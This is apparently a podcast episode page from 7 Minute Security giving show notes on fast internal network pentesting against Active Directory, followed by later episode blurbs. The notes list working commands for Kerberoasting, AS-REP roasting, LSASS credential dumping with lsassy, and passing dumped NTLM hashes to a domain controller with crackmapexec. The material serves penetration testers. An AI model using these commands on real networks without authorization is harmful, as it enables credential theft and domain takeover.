7MS #457: Tales of Internal Network Pentest Pwnage - Part 25
7 Minute Security4 Maalis 2021

7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:

  • Get a cmd.exe spun up in the context of your AD user account:
runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"

Then get some important info in PowerView:

  • Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!

  • Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!

  • Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!

Once you know where you have local admin access, lsassy is your friend:

  • lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server

Did you get an admin's NTLM hash from this dump? Then do this:

  • crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED

(Pwn3d!) FTW!

Jaksot(712)

7MS #712: How to Secure Your Community - Part 2

7MS #712: How to Secure Your Community - Part 2

Hello friends.  Today's episode piggybacks off of last week's discussion of Operation Metro Surge and how it has affected the state of Minnesota.  I also highly encourage you to read this Rolling Ston...

6 Maalis 37min

7MS #711: How to Secure Your Community

7MS #711: How to Secure Your Community

Hello friends, it's good to be back with you.  I took a podcast hiatus in January to focus on helping communities affected by Operation Metro Surge.  Today I share how my family and community has been...

27 Helmi 51min

7MS #710: I'm Taking a Break

7MS #710: I'm Taking a Break

Hi friends, I'm going to be taking a break from producing podcast episodes, as well as content over at 7MinSec.club.  It's a temporary break, so please don't unsubscribe, unfollow, etc.  I need some e...

17 Tammi 4min

7MS #709: Second Impressions of Twingate

7MS #709: Second Impressions of Twingate

Hey friends, in episode #649 I gave you my first impressions of Twingate.  It's been a minute, so I thought I'd revisit Twingate (specifically this awesome Twingate LXC) and talk about how we're using...

10 Tammi 20min

7MS #708: Tales of Pentest Fail – Part 6

7MS #708: Tales of Pentest Fail – Part 6

After sharing a recent story about how a phishing campaign went south, I heard feedback from a lot of you.  You either commiserated with my story, told me I wussed out, and/or had a difficult story of...

2 Tammi 25min

7MS #707: Our New Pentest Course Has Launched!

7MS #707: Our New Pentest Course Has Launched!

Today we're thrilled to announce the launch of LPLITE:GOAD (Light Pentest Live Interactive Training Experience: Game of Active Directory). The first class is coming up Tuesday, January 27 – Thursday, ...

26 Joulu 202514min

7MS #706: Tales of Pentest Pwnage – Part 80

7MS #706: Tales of Pentest Pwnage – Part 80

I'm so excited to share today's tale of pentest pwnage, because it brings back to life a coercion technique I thought wouldn't work against Windows 11! Spoiler alert: check out rpc2efs, as well as the...

19 Joulu 202529min

7MS #705: A Phishing Campaign Fail Tale

7MS #705: A Phishing Campaign Fail Tale

This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing c...

12 Joulu 202521min

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